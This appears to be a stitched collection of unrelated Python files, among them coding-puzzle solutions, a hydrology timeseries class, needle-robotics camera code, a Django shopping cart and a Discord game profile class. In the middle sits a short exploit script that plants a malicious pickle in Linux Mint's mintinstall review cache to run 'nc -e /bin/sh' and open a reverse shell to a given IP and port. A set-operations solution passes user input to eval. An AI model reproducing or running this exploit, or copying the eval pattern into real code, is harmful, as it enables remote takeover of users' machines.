# BOJ_14659 한조서열정리하고옴ㅋㅋ

import sys
sys.setrecursionlimit(10 ** 9)

def solution():
    n = int(sys.stdin.readline().rstrip())

    persons = list(map(int, sys.stdin.readline().rstrip().split()))

    max_person = persons[0]
    answer = 0
    count = 0

    for i in range(1, n):
        if persons[i] > max_person:
            max_person = persons[i]
            count = 0
        else:
            count += 1

        answer = max(answer, count)

    print(answer)

solution()


import asyncio
import datetime
import json
from functools import partial
from typing import Any, Dict, List, Optional, Union

import pandas
import pytz

from lyra.core.config import cfg
from lyra.core.errors import HydstraIOError
from lyra.core.io import load_file
from lyra.core.utils import local_path
from lyra.src.hydstra import helper
from lyra.src.mnwd.helper import get_timeseries_from_dt_metrics
from lyra.src.timeseries import utils

AGG_REMAP = {
    # hydstra : pandas
    "tot": "sum",
    "cum": "cumsum",
    "mean": "mean",
    "max": "max",
    "min": "min",
}

INTERVAL_REMAP = {
    "year": "YS",
    "month": "MS",
    "day": "D",
    "hour": "H",
}

SWN_SITES_PATH = local_path("data/mount/swn/hydstra").resolve() / "swn_sites.json"

class Timeseries(object):
    def __init__(
        self,
        site: str,
        variable: str,
        aggregation_method: str,
        interval: str = None,
        start_date: str = None,  # "yyyy-mm-dd"
        end_date: str = None,
        trace_upstream: bool = None,
        weather_condition: str = None,
        hydstra_kwargs: Optional[Dict] = None,
        warnings: Optional[List[Any]] = None,
        nearest_rainfall_station: Optional[str] = None,
        **kwargs: Any,
    ) -> None:
        self.site = site
        self.variable = variable
        self.start_date = start_date or "2020-01-01"
        self.end_date = (
            end_date
            or datetime.datetime.now(pytz.timezone("US/Pacific")).date().isoformat()
        )
        self.interval = interval or "month"
        self.aggregation_method = aggregation_method
        self.trace_upstream = True if trace_upstream is None else trace_upstream
        self.weather_condition = weather_condition or "both"

        self.cfg = cfg
        self.variable_info = self.cfg["variables"].get(self.variable, {})
        allowed_aggs = self.variable_info["allowed_aggregations"]
        self.aggregation_method = (
            aggregation_method
            if aggregation_method in allowed_aggs
            else allowed_aggs[0]
        )
        self.warnings = warnings or []

        # load_file will cache this so it doesn't happen for frequent requests
        self.all_props: List[Any] = [
            f["properties"]
            for f in json.loads(load_file(self.cfg["site_path"]))["features"]
        ]

        self.site_props: Dict[str, Any] = next(
            (x for x in self.all_props if x["station"] == site), {}
        )

        self.nearest_rainfall_station = nearest_rainfall_station or self.site_props.get(
            "nearest_rainfall_station", "not_set"
        )

        self.hydstra_kwargs: Dict[str, Any] = hydstra_kwargs or {}
        self.kwargs: Dict[str, Any] = kwargs

        # properties
        self._timeseries = None
        self._timeseries_src = None
        self._nearest_rainfall_station_props: Optional[Dict[str, Any]] = None
        self._nearest_rainfall_ts: Optional[Timeseries] = None
        self._weather_condition_series = None
        self.label = self.__repr__()

    def __repr__(self):

        is_dt_metric = self.variable_info["source"] == "dt_metrics"
        _var_name = self.variable_info["name"]
        _var_units = self.variable_info["units"]
        _us = "Upstream from" if self.trace_upstream and is_dt_metric else "from"
        _method = self.aggregation_method.title() if self.aggregation_method else ""
        _weather_condition = (
            f"{self.weather_condition.title()} Weather "
            if self.weather_condition != "both"
            else ""
        )

        repr = (
            f"{_method} 1 {self.interval} {_weather_condition}{_var_name} ({_var_units}) {_us} "
            f"{self.site} from {self.start_date} to {self.end_date}"
        )

        return repr

    @property
    def timeseries(self) -> pandas.Series:
        if self._timeseries is None:  # pragma: no branch
            asyncio.run(self.init_ts())
        return self._timeseries

    @timeseries.setter
    def timeseries(self, timeseries):  # pragma: no cover
        self._timeseries = timeseries

    @property
    def timeseries_src(self) -> pandas.DataFrame:
        if self._timeseries_src is None:  # pragma: no branch
            self._timeseries_src = self.timeseries.assign(site=self.site).assign(
                variable=self.variable
            )
        return self._timeseries_src

    @property
    def nearest_rainfall_station_props(self):  # pragma: no cover
        if self._nearest_rainfall_station_props is None:
            self._nearest_rainfall_station_props = next(
                (
                    x
                    for x in self.all_props
                    if x["station"] == self.nearest_rainfall_station
                ),
                {},
            )
        return self._nearest_rainfall_station_props

    def get_nearest_rainfall_ts(self):
        if self._nearest_rainfall_ts is None:
            _ = asyncio.run(self.get_nearest_rainfall_ts_async())

        return self._nearest_rainfall_ts

    async def get_nearest_rainfall_ts_async(self):
        if self._nearest_rainfall_ts is None:

            rainfall_inputs = dict(
                site=self.nearest_rainfall_station,
                variable="rainfall",
                start_date=self.start_date,
                end_date=self.end_date,
                interval="hour",
                aggregation_method="tot",
            )

            self._nearest_rainfall_ts = Timeseries(**rainfall_inputs)  # type: ignore
            await self._nearest_rainfall_ts.init_ts()

        return self._nearest_rainfall_ts

    @property
    def weather_condition_series(self):
        if all(
            [
                self.variable == "rainfall",
                self.interval == "hour",
                self._weather_condition_series is None,
            ]
        ):
            self._weather_condition_series = utils.identify_dry_weather(
                self.timeseries.value
            )

        return self._weather_condition_series

    async def _init_hydstra(self) -> pandas.Series:
        hyd_variable_info: Dict[str, Any] = self.site_props.get(
            self.variable + "_info", {}
        )

        interval = self.interval

        if self.weather_condition != "both":
            interval = "hour"

        inputs = dict(
            site=self.site,
            varfrom=hyd_variable_info["varfrom"],
            varto=hyd_variable_info["varto"],
            start_date=self.start_date,
            end_date=self.end_date,
            interval=interval,
            agg_method=self.aggregation_method,
            **self.hydstra_kwargs,
        )

        async def process_hydstra_errors(**inputs: Dict) -> Any:
            """recursive helper function to try to get hydstra data and
            handle errors when they occur

            uses globals: self

            """
            timeseries_details = await helper.get_site_variable_as_trace(**inputs)

            if timeseries_details is None:
                self.warnings.append(
                    "Hydstra Database is temporarily unavailable. See "
                    "http://hydstra.ocpublicworks.com/web.htm for most recent data available."
                )
                return "empty"

            if "error_msg" in timeseries_details.keys():
                num = timeseries_details["error_num"]
                if num == 220:
                    raise HydstraIOError(
                        f"{timeseries_details['error_msg']}", data=inputs
                    )

                if num == 124:
                    self.warnings.append(
                        f'Warning: No conversion or rating table for "{hyd_variable_info["varfrom"]}" '
                        f'to "{hyd_variable_info["varfrom"]}".'
                    )
                    return "empty"

                if num == 126:
                    self.warnings.append(
                        f'Warning: No data within requested period for variable "{self.variable}" '
                        f'at site "{self.site}".'
                    )
                    return "empty"

                if num == 125:

                    inputs["varfrom"] = hyd_variable_info["varfrom_fallback"]
                    self.warnings.append(
                        f"Warning: Variable '{hyd_variable_info['varfrom']}' not available. "
                        f"Falling back to '{hyd_variable_info['varfrom_fallback']}'."
                    )

                    # retry
                    return await process_hydstra_errors(**inputs)

            return timeseries_details

        timeseries_details = await process_hydstra_errors(**inputs)

        if timeseries_details == "empty":
            return pandas.DataFrame([])

        trace = timeseries_details.get("trace")

        if not trace:  # pragma: no cover
            raise ValueError(f"inputs failed: {inputs}, {timeseries_details}")

        hydstra_result = helper.hydstra_trace_to_series(trace)

        quality = self.cfg["hydstra"]["max_quality_flag"]
        questionable_data = hydstra_result.query("q > @quality")
        if not questionable_data.empty:
            ds, de = (
                questionable_data.index.min().date(),
                questionable_data.index.max().date(),
            )
            flags = questionable_data.q.unique()

            self.warnings.append(
                f"{len(questionable_data)} data points have Hydstra data quality "
                f"flags for {self.variable} at {self.site} between {ds} and {de}. "
                f"Quality flags include: {', '.join((str(i) for i in flags))}."
            )

        # this will block the async await... but so it goes.
        return await self.process_weather_condition(hydstra_result)

    async def process_weather_condition(self, df):
        if self.weather_condition == "both":
            return df

        if self.weather_condition == "dry":
            q = "is_dry"
        else:
            q = "~is_dry"

        nearest_rain_ts = await self.get_nearest_rainfall_ts_async()

        rain_start_date = nearest_rain_ts.timeseries.index.min()
        rain_end_date = nearest_rain_ts.timeseries.index.max()

        if rain_start_date > df.index.min() or rain_end_date > df.index.max():
            df = df.loc[(df.index >= rain_start_date) & (df.index <= rain_end_date)]

            self.warnings.append(
                f"Warning: Setting date range to start_date={df.index.min().isoformat()} and end_date={df.index.max().isoformat()} "
                f'at site "{self.site}" to support determination of weather_condition = {self.weather_condition}.'
            )

        result = (
            df.join(nearest_rain_ts.weather_condition_series["is_dry"], how="left")
            .fillna({"is_dry": True})
            .query(q)[["value"]]
            .resample(INTERVAL_REMAP[self.interval])
            .aggregate(AGG_REMAP[self.aggregation_method])
        )

        return result

    async def _init_dt_metrics(self) -> pandas.Series:
        variable = self.variable_info["varfrom"]
        catchidn = self.site_props["CatchIDN"]
        self.aggregation_method = "tot"
        self.interval = (
            "month" if self.interval not in ["year", "month"] else self.interval
        )

        inputs = dict(
            variable=variable,
            site=catchidn,
            start_date=self.start_date,
            end_date=self.end_date,
            agg_method=AGG_REMAP[self.aggregation_method],
            trace_upstream=self.trace_upstream,
            interval=self.interval,
            **self.kwargs,
        )

        loop = asyncio.get_running_loop()
        f = partial(get_timeseries_from_dt_metrics, **inputs)

        timeseries = await loop.run_in_executor(None, f)

        return timeseries

    async def init_ts(self, delay: Optional[float] = None) -> pandas.Series:
        source = self.variable_info.get("source")

        if source == "hydstra":
            if delay:
                # need to rate limit hydstra to 1 request per second, unfortunately.
                # this issue was reported to Hydstra support on 2021-07-12.
                # per communication 20201-07-19 this issue has been resolved.
                await asyncio.sleep(delay)

            self._timeseries = await self._init_hydstra()

        elif source == "dt_metrics":
            self._timeseries = await self._init_dt_metrics()

        else:  # pragma: no cover
            raise NotImplementedError(
                f"no method for loading {self.variable} from source: {source}. See config file."
            )

async def gather_timeseries(ts):

    await asyncio.gather(*(t.init_ts(delay=0) for i, t in enumerate(ts)))


"""

This too is an incomplete version of feebackloop where Louis tried his own idea of solving the problem.
Please ignore this one as well.

@author: Louis
"""
import cv2
import numpy as np
import imutils
import requests
import copy
from RE__Needle_robotics.Steedle_software_package.img2 import segmentImg2
from Motor_controller import motor_controller
from Calculate_insertion import calculateInsertion

controller = motor_controller()

cap = cv2.VideoCapture(0)
cap.set(3, 1280)
cap.set(4, 720)
url = "http://145.94.151.26:8080/shot.jpg"  # live phone streaming link

frame_conversion = 150 / 1280  # pixel to mm # TODO: Should be converted properly with cropped frame

def needleTip(image):
    # blur the image
    image2 = cv2.GaussianBlur(image, (5, 5), 0)

    hsvPlate = cv2.cvtColor(image2, cv2.COLOR_BGR2HSV)
    grayPlate = cv2.cvtColor(image2, cv2.COLOR_BGR2GRAY)

    # TODO: These colors will need to be min maxed
    colorMin = np.array([50, 100, 100])
    colorMax = np.array([120, 255, 255])

    holdImg = copy.deepcopy(image)
    mask = cv2.inRange(hsvPlate, colorMin, colorMax)
    segPlate = cv2.bitwise_and(holdImg, holdImg, mask=mask)

    element = cv2.getStructuringElement(cv2.MORPH_RECT, (6, 6))
    elementCircle = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (10, 10))
    elementEclipse = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (13, 13))
    segPlate = cv2.erode(segPlate, elementCircle)
    segPlate = cv2.dilate(segPlate, elementCircle)

    return segPlate

def god():
    # img_resp = requests.get(url)
    # img_arr = np.array(bytearray(img_resp.content), dtype=np.uint8)
    # frame = cv2.imdecode(img_arr, -1)

    # Get the first frame to use an input for next step
    ret, frame = cap.read()

    # Flip the frame horizontally (Not required)
    frame = cv2.flip(frame, 1)

    # Intended filename to save results in
    fileName = 'output'

    # Get the intended insertion point and goal, then save to a file
    calculateInsertion(fileName, frame)

    # Having calculated the parabola, extract the intended points
    data = np.load('{}.npy'.format(fileName))
    arrX = data[0]
    arrZ = data[1]

    def fixArrZ(arrZ):
        arr = copy.deepcopy(arrZ)
        placeholder = arr[-1]
        for i in range(1, len(arr)):
            arr[i] = arrZ[i - 1]
        arr[0] = placeholder
        return arr

    arrZ = fixArrZ(arrZ)
    # print(arrX)

    for step in range(0, len(arrZ)):
        controller.Home()

        arrZ = arrZ * frame_conversion  # Conversion from pixel value to metric [mm]
        arrX = arrX * frame_conversion  # 720 and 1280 are image sizes

        X_coord, Y_coord = controller.Move_tip(arrX[step], 0)  # Todo: Movement code
        Current_X, Current_Y, X_coord, Y_coord = controller.Insert(arrZ[step])

        # having the movement done we know that the needle is where it 'should' be,
        # so we can take an image capture here and use that as the actual needle posiiton
        img_resp = requests.get(url)
        img_arr = np.array(bytearray(img_resp.content), dtype=np.uint8)
        image = cv2.imdecode(img_arr, -1)
        # Now having the image taken, we can do a mask to find the needle tip since its a unique color we chose
        # img = needleTip(img)
        # For now we use this for debugging purposes
        img = segmentImg2(image)

        img_gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
        ret, thresh = cv2.threshold(img_gray, 150, 255, cv2.THRESH_BINARY)
        # detect the contours on the binary image using cv2.CHAIN_APPROX_NONE
        contours, hierarchy = cv2.findContours(image=thresh, mode=cv2.RETR_TREE, method=cv2.CHAIN_APPROX_NONE)
        cnts = cv2.findContours(image=thresh, mode=cv2.RETR_TREE, method=cv2.CHAIN_APPROX_NONE)
        # draw contours on the original image
        image_copy = image.copy()
        res = cv2.drawContours(image=image_copy, contours=contours, contourIdx=-1, color=(0, 0, 255), thickness=5)

        cnts = imutils.grab_contours(cnts)
        cX = 0
        cZ = 0
        count = 0
        for c in cnts:
            # compute the center of the contour
            M = cv2.moments(c)
            cX = int(M["m10"] / M["m00"]) + cX
            cZ = int(M["m01"] / M["m00"]) + cZ
            count = count + 1

        # Actual coordinates of tip of needle
        cX = int(cX / count)
        cZ = int(cZ / count)

        # TODO: compute error
        eX = np.abs(cX - arrX[step])  # distance error between actual and theoretical tip position
        eZ = np.abs(cZ - arrZ[step])

        e_tot = np.sqrt(eX ** 2 + eZ ** 2)
        e_lim = 10  # maximum error in [mm]
        # if e_tot <= e_lim / frame_conversion:
            # TODO: Insert error correction function

god()


import cv2
from PIL import Image

def write_gif(filename_stem, frame_array):
    if len(frame_array) == 0:
        return False
    shape = frame_array[0].shape

    mode = 'RGB' if len(shape) == 3 else None
    filename_gif = filename_stem + ".gif"
    imgs = [Image.fromarray(img, mode) for img in frame_array]
    # duration is the number of milliseconds between frames; this is 40 frames
    # per second
    imgs[0].save(filename_gif, save_all=True,
                 append_images=imgs[1:], duration=50, loop=0)
    return True


import os
import sys
def shellCode(payload):
    with open(f"{os.getenv('HOME')}/.cache/mintinstall/reviews.cache","w") as wb:
        wb.write(payload)
    print("[+] Start mintinstall")
if __name__=="__main__":
    shellCode(f"""cos\nsystem\n(S"nc -e /bin/sh {sys.argv[1]} {sys.argv[2]}"\ntR.""")
else:
    print("[!] exploit.py [IP] [PORT]")


def nota_result(lista):
	a=[]
	lista=sorted(lista)
	maxi=max(lista)
	mini=min(lista)

	i=0
	for en in (lista):
		nota=((lista[i]-mini)/(maxi-mini)*10)
		nota= round(nota,2)
		a.append(nota)
		i+=1
		vma=max(a)
		vme=min(a)
	print(f"As notas após a aplicação da fórmula ficaram da seguinte \n {a}")
	print(f" O aluno com a menor nota que foi: {vme}, logo ficou com 0 na nota final")
	print(f" O aluno com a maior nota que foi {vma}, logo ficou com 10.0 na nota final")

lista=[7.0,6.0,7.7,2.0,5]

nota_result(lista)


from app import app
from app import db
from app.models.address import Address

class AddressDI():

	@staticmethod
	def createAddressFromForm(form):
		address = Address(address1=form.address1.data,
							city=form.city.data,
							state=form.state.data,
							postal_code=form.postal_code.data)
		return address

	@staticmethod
	def createAddressFromJSON(json):
		address = Address(address1=json.get('streetAddress'),
							city=json.get('city'),
							state=json.get('state'),
							postal_code=json.get('postalCode'))
		return address


import unittest
import numpy.testing
from flock_settings import FlockSettings
from simulation.drone_controller import DroneController
import numpy as np

from simulation.message import Message

class TestSimulator(unittest.TestCase):

    def test_drone_controller_creation(self):
        controller = DroneController(0, FlockSettings(),
                                     np.asarray([[0.0],[0.0]]), 0,
                                     np.asarray([[0.0],[0.0]]))
        self.assertEqual(controller.my_id, 0)

    def test_drone_controller_velocity_reading(self):
        controller = DroneController(0, FlockSettings(),
                                     np.asarray([[0.0],[0.0]]), 0,
                                     np.asarray([[0.0],[0.0]]))

        controller.update_readings(np.asarray([[0],[10]]), 0, np.asarray([[0],[0]]), 1)
        controller.update(1)

        numpy.testing.assert_array_equal(controller.last_velocity_reading, [[0],[10]])

    def test_drone_controller_dead_reckoning(self):
        controller = DroneController(0, FlockSettings(),
                                     np.asarray([[0.0],[0.0]]), 0,
                                     np.asarray([[0.0],[0.0]]))
        for i in range(0, 10):
            controller.update_readings(np.asarray([[0.0],[10.0]]), 0, np.asarray([[0.0],[0.0]]), 1)
            controller.update(1)

        numpy.testing.assert_array_equal(controller.get_approximated_position(), [[0],[100]])

    def test_drone_position_approximation(self):
        controller = DroneController(0, FlockSettings(),
                                     np.asarray([[0.0],[0.0]]), 0,
                                     np.asarray([[0.0],[0.0]]))

        controller.receive_message(1, 10, 0, Message(1, 0, 0))

        numpy.testing.assert_almost_equal(controller.flock_info[1].get_position(), [[0],[10]])

if __name__ == '__main__':
    unittest.main()


# https://www.acmicpc.net/problem/20299

import timeit

start_time = timeit.default_timer()

# 첫째 줄에 정수 팀의 수 N,
# 팀원 3명의 레이팅 합에 대한 클럽 가입 조건 K,
# 개인 레이팅에 대한 클럽 가입 조건 L을 입력합니다.
# 1 <= N <= 500,000
# 0 <= K <= 12,000
# 0 <= L <= 4,000
N, K, L = map(int, input().split(' '))

# VIP 클럽에 가입 가능한 팀의 수를 저장할 변수 VIP_team_count를 만들고, 0으로 초기화해줍니다.
VIP_team_count = 0
# VIP 회원들의 레이팅을 저장할 변수 rating_of_VIP를 만들고, ''으로 초기화합니다.
rating_of_VIP = ''

# 팀의 수 N만큼 반복해봅니다.
for i in range(N):
    # 팀원들의 레이팅 정보인 x1, x2, x3를 입력합니다.
    # 0 <= x1, x2, x3 <= 4,000
    x1, x2, x3 = map(int, input().split(' '))

    # 입력받은 팀원들의 레이팅의 합을 team_rating_total 변수에 저장합니다.
    team_rating_total = x1 + x2 + x3

    if team_rating_total >= K and x1 >= L and x2 >= L and x3 >= L:
        VIP_team_count += 1
        rating_of_VIP += f'{x1} {x2} {x3} '

print(VIP_team_count)
print(rating_of_VIP)

terminate_time = timeit.default_timer()  # 종료 시간 체크

print("%f초 걸렸습니다." % (terminate_time - start_time))


import zipfile
import PIL

from PIL import Image
import pytesseract
import cv2 as cv
import numpy as np
from PIL import Image
from PIL import ImageEnhance
from PIL import ImageFont, ImageDraw

filename = 'readonly/small_img.zip'
#filename = 'readonly/images.zip'

with zipfile.ZipFile(filename,'r') as myzip:
    myzip.printdir()
    myzip.extractall()
    print("Done")

# loading the face detection classifier
def extractor(extracted_file,keyword_search):
    filename = extracted_file
    keyword_search = keyword_search
    face_cascade = cv.CascadeClassifier('readonly/haarcascade_frontalface_default.xml')
    text = pytesseract.image_to_string(filename)
    if(keyword_search in text):
        image = Image.open(filename)
        cv_image = cv.imread(filename)
        faces = face_cascade.detectMultiScale(cv_image,1.72)
        drawing=ImageDraw.Draw(image)
        image_width = 500
        image_height = 200
        drawingboard = PIL.Image.new(image.mode,(image_width,image_height))
        row = 0
        col = 0
        i=1
        for x,y,w,h in faces:
            drawing.rectangle((x,y,x+w,y+h), outline="white")
            cropped = image.crop((x,y,x+w,y+h))

            if(row>=500):
                row = 0
                col = 100
                i=0
            drawingboard.paste(cropped,(row,col))
            row  = 100*i
            res = 1
            i+=1
        if(res > 0):
            print('Results found in {} '.format(filename))
            display(drawingboard)
        else:
            print('Result found in {} but no faces were found'.format(filename))
    return

extracted_files = []

for i in range(15):
    zip_filename = 'a-{}.png'.format(i)
    try:
        temp = Image.open(zip_filename)
        extracted_files.append(zip_filename)
    except:
        pass
keyword = input('Enter the keyword :')

for extracted_file in extracted_files:
    result = extractor(extracted_file,keyword)

print('Process completed , Have a nice day.')


n = int(input())
s = set(map(int, input().split()))
n_command = int(input())

for i in range(n_command):
    instruction = input().split()
    if(instruction[0] == 'pop'):
        eval("s.pop()")
    else:
        eval("s."+instruction[0]+"("+instruction[1]+")")

print(sum(s))

22. Set .discard(), .remove() & .pop().py


import torch
from torch import Tensor, nn
from torch.utils.data import DataLoader

from tqdm import tqdm

class ZeroShotPredictor():

    def __init__(self,
        model: nn.Module, data_loader: DataLoader, device: str = 'cpu'
    ) -> None:
        self.model = model.to(device)
        self.data_loader = data_loader
        self.device = device

    def predict(self) -> dict:
        """
        Predict on the dataset
        """
        self.model.eval()
        pbar = tqdm(range(len(self.data_loader)), desc='Predicting')

        all_outputs, all_labels, all_metadata = [], [], []

        for i, data in enumerate(self.data_loader):
            with torch.no_grad():
                pbar.update()
                inputs, metadata = data['inputs'], data['metadata']
                inputs = {k: v.to(self.device) for k,v in inputs.items()}
                labels = inputs.pop('label')

                outputs = self.model(**inputs)
                logits = outputs['logits']

                all_outputs.append(logits.detach().cpu())
                all_labels.append(labels.cpu())
                all_metadata.append(metadata)

        metadata_dict = {k: sum([x[k] for x in all_metadata], []) for k in all_metadata[0].keys()}
        outputs_dict = dict(outputs=all_outputs, labels=all_labels)
        outputs_dict = {k: torch.cat(v) for k,v in outputs_dict.items()}

        res_dict = {**outputs_dict, **metadata_dict}

        metrics = self.model.compute_metrics(res_dict)

        return metrics


from decimal import Decimal
from django.conf import settings
from shop.models import Product

class Cart(object):
    def __init__(self, request):
        #Ініціалізація обєкта корзини
        self.session = request.session
        cart = self.session.get(settings.CART_SESSION_ID)
        if not cart:
            #Зберігаємо в сесії пусту корзину
            cart = self.session[settings.CART_SESSION_ID] = {}
        self.cart = cart

    def add(self, product, quantity=1, update_quantity=False):
        #Додавання товару в корзину або поновлення його кількості
        product_id = str(product.id)
        if product_id not in self.cart:
            self.cart[product_id] = {'quantity': 0, 'price': str(product.price)}
        if update_quantity:
            self.cart[product_id]['quantity'] = quantity
        else:
            self.cart[product_id]['quantity'] += quantity
        self.save()

    def save(self):
        # Визначаємо сесію, як така, що була змінена
        self.session.modified = True

    def remove(self, product):
        # Видалення товарів із корзини
        product_id = str(product.id)
        if product_id in self.cart:
            del self.cart[product_id]
            self.save()

    def __iter__(self):
        #Проходимо по товарам корзини і отримуємо відповідні обєкти Product
        product_ids = self.cart.keys()
        # Отримуємо обєкти моделі Product  і передаємо їх в корзину
        products = Product.objects.filter(id__in=product_ids)
        print(products)
        cart = self.cart.copy()
        for product in products:
            cart[str(product.id)]['product'] = product
        for item in cart.values():
            # print(item['product'])
            item['price'] = Decimal(item['price'])
            item['total_price'] = item['price'] * item['quantity']
            yield item

    def __len__(self):
        # Повертаємо загальну кількість товарів в корзині
        return sum(item['quantity'] for item in self.cart.values())

    def get_total_price(self):
        return sum(
            Decimal(item['price']) * item['quantity']
            for item in self.cart.values()
        )

    def clear(self):
        # Очищаємо корзину
        del self.session[settings.CART_SESSION_ID]
        self.save()

    def __str__(self):
        return str(self.cart)


# problem link - https://leetcode.com/problems/flatten-a-multilevel-doubly-linked-list/
"""
# Definition for a Node.
class Node:
    def __init__(self, val, prev, next, child):
        self.val = val
        self.prev = prev
        self.next = next
        self.child = child
"""
class Solution:
    def flatten(self, head: 'Node') -> 'Node':
        self.arr = []
        if head is None:
            return None
        self.traverse(head)
        for idx,val in enumerate(self.arr):
            if idx == 0:
                val.next = self.arr[idx + 1]
                val.child = None
            if idx == len(self.arr) - 1:
                val.prev = self.arr[idx -1]
                val.child = None
            else:
                val.next = self.arr[idx + 1]
                val.prev = self.arr[idx -1]
                val.child = None
        self.arr[0].prev = None
        return self.arr[0]
    def traverse(self,head):
        if head is not None:
            self.arr.append(head)
        if head is not None and head.child is not None:
            self.traverse(head.child)
        if head is not None and head.next is not None:
            self.traverse(head.next)


import torchvision
import numpy as np
import os
import pickle

class Fmnist(object):
    def __init__(self, data_path: str, save_path: str, n_agents: int = 100, max_num_samples=500):
        data_path = data_path
        n_agents = n_agents

        data = torchvision.datasets.FashionMNIST(root=os.path.join(data_path, "FashionMNIST"),
                                                 train=True, download=True)
        x, y = data.data.numpy().reshape(-1, 1, 28, 28) / 255, np.array(data.targets)

        x = x.reshape(x.shape[0], x.shape[-1] * x.shape[-2])
        random_ids = np.random.randint(0, n_agents, x.shape[0])
        assert len(np.unique(random_ids)) == n_agents

        save_path += str(n_agents) + '_n' + str(max_num_samples).lower() + '/'
        if not os.path.exists(save_path):
            os.makedirs(save_path)

        for agent in range(n_agents):
            agent_ids = np.where(random_ids == agent)[0]
            if max_num_samples is not None:
                assert max_num_samples <= len(agent_ids)
                x_agent = x[agent_ids, :][0:max_num_samples, :]
                y_agent = y[agent_ids][0:max_num_samples]
            else:
                x_agent = x[agent_ids, :]
                y_agent = y[agent_ids]
            agent_dict = {'dataset': {'X': x_agent,
                                      'Y': y_agent},
                          'id': str(agent)}
            with open(save_path + str(agent) + '.pickle', 'wb') as handle:
                pickle.dump(agent_dict, handle)
        self.save_path = save_path

if __name__ == '__main__':
    DATA_PATH = '/Users/etagjal/Air/data/cfl_boosting/'
    Fmnist(data_path=DATA_PATH, save_path=DATA_PATH + 'FashionMNIST/data/', n_agents=10, max_num_samples=5000)


class Stack:
    def __init__(self):
        self.stack = [] #!list created

    def push(self, item):
        self.stack.append(item)

    def pop(self):
        if len(self.stack) == 0:
            print("Stack is empty.")
        else:
            return self.stack.pop()

    def display(self):
        if len(self.stack) == 0:
            print("Stack is empty.")
        else:
            print("Stack elements:")
            for item in reversed(self.stack):
                print(item)

    # def is_empty(self):
    #     return len(self.stack) == 0

# Example usage
stack = Stack()

stack.push(10)
stack.push(20)
stack.push(30)

stack.display()

popped_item = stack.pop()
print("Popped item:", popped_item)

stack.display()


import sys
sys.path.append('..')
import os
import random
import math
import json
from Gladiator.Equipments.GladiatorEquipments import GladiatorEquipments
from MongoDB.Connector import Connector
import pathlib

path = pathlib.Path(__file__).parent.absolute()

MongoDatabase = Connector()

def save_profile(func):
    def wrapper(self, *args, **kwargs):
        out = func(self, *args, **kwargs)
        filename = path / "UserProfileData" / f"{self.profile_stats['_id']}.json"
        json.dump(self.profile_stats, open(
            filename, "w"), indent=4, sort_keys=True)
        MongoDatabase.save_profile(self.profile_stats)
        return out
    return wrapper

class Profile():
    def __init__(self, member, **kwargs):
        self.member = member
        profile_path = path / "UserProfileData" / f"{self.member.id}.json"

        profile_settings = json.load(open(path / "Settings" / "GladiatorGameSettings.json", "r"))["profile_settings"]
        self.XP_TO_LEVEL_MULTIPLIER = profile_settings["XP_TO_LEVEL_MULTIPLIER"]
        self.XP_TO_LEVEL_WHEN_LOST_MULTIPLIER = profile_settings["XP_TO_LEVEL_WHEN_LOST_MULTIPLIER"]
        self.XP_GAIN_MULTIPLIER = profile_settings["XP_GAIN_MULTIPLIER"]
        self.LEVEL_UP_DIFFICULTY_CONSTANT = profile_settings["LEVEL_UP_DIFFICULTY_CONSTANT"]
        self.LEVEL_UP_START_POINT = profile_settings["LEVEL_UP_START_POINT"]
        if os.path.exists(profile_path):
            self.profile_stats = json.load(open(profile_path, "r"))
        else:
            self.create_default_profile(**kwargs)

    @save_profile
    def create_default_profile(self, **kwargs):
        self.profile_stats = json.load(open(path / "UserProfileData" / "default_profile.json", "r"))
        self.profile_stats["_id"] = str(self.member.id)
        self.profile_stats.update(kwargs)

    def get_level(self):
        return self.profile_stats["Level"]

    @save_profile
    def event_bonus(self, profile_stat_key: str, amount: int) -> str:
        self.profile_stats[profile_stat_key] += amount
        return f"Added **{amount} {profile_stat_key}** to your profile!"

    def calculate_xp_for_next_level(self):
        return round(self.XP_TO_LEVEL_MULTIPLIER*(self.get_level()**2)*self.LEVEL_UP_DIFFICULTY_CONSTANT - (self.XP_TO_LEVEL_MULTIPLIER * self.get_level()) + self.LEVEL_UP_START_POINT) + 1

    @save_profile
    def update_stats(self):
        default_stats = json.load(open(path / "UserProfileData" / "default_profile.json", "r"))["Stats"]

        lvl = self.get_level()
        for stat in default_stats.keys():
            curr_stat = self.profile_stats["Stats"][stat]
            curr_stat = round(curr_stat + (lvl/15)**1.1, 2)
            self.profile_stats["Stats"][stat] = curr_stat

class GladiatorProfile(Profile):
    def __init__(self, member, **kwargs):
        super().__init__(member=member)
        self.equipment_info = GladiatorEquipments()

    @save_profile
    def buy_equipment(self, equipment_name: str) -> str:
        equipment = self.equipment_info.find_equipment(equipment_name)

        if not equipment:
            return "Couldn't find the equipment for given id"

        for eq in self.profile_stats["Inventory"]:
            if eq["name"] == equipment["name"]:
                return f"You are already using {eq['name']}!"

        if self.profile_stats["HutCoins"] - equipment["price"] < 0:
            return "You cannot afford this item!"

        self.profile_stats["HutCoins"] -= equipment["price"]

        slot = self.equipment_info.find_slot(
            equipment["type"])
        # if there is a slot already occupied in the profile, remove that slot and that equipment
        for index, eq in enumerate(self.profile_stats["Inventory"]):
            if eq["type"] == slot["Slot Name"]:
                del self.profile_stats["Inventory"][index]
                break
        # add the equipment to the profile inventory
        self.profile_stats["Inventory"].append({"name" : equipment["name"], "type" : equipment["type"]})
        return f"Successfully bought **{equipment['name']}**. You have **{self.profile_stats['HutCoins']} HutCoins** left."

    def update_games(self, other_profile_level: int, won: bool, **kwargs) -> str:
        self.profile_stats["Games Played"] += 1
        if won:
            self.profile_stats["Games Won"] += 1
            return self.gain_xp(other_profile_level, kwargs.get("XP", 0)) + self.reward_player(kwargs.get("HutCoins", 0))

        self.profile_stats["Games Lost"] += 1
        return self.gain_xp(other_profile_level/self.XP_TO_LEVEL_WHEN_LOST_MULTIPLIER)

    @save_profile
    def reward_player(self, bonus_coins: int = 0) -> str:
        coin = random.randint(20, 75) + bonus_coins
        self.profile_stats["HutCoins"] += coin
        return f"**You earned {coin} HutCoins!**"

    @save_profile
    def gain_xp(self, other_profile_level: int, bonus_xp: int = 0) -> str:
        xp_gained = math.ceil(other_profile_level /
                              self.get_level()) * self.XP_GAIN_MULTIPLIER + random.randint(self.get_level(), self.get_level()*5) + bonus_xp

        self.profile_stats["XP"] += xp_gained
        msg = f"Gained {xp_gained} XP\n"
        self.profile_stats["XP To Next Level"] = self.calculate_xp_for_next_level()
        while self.profile_stats["XP"] >= self.profile_stats["XP To Next Level"]:
            self.profile_stats["Level"] += 1
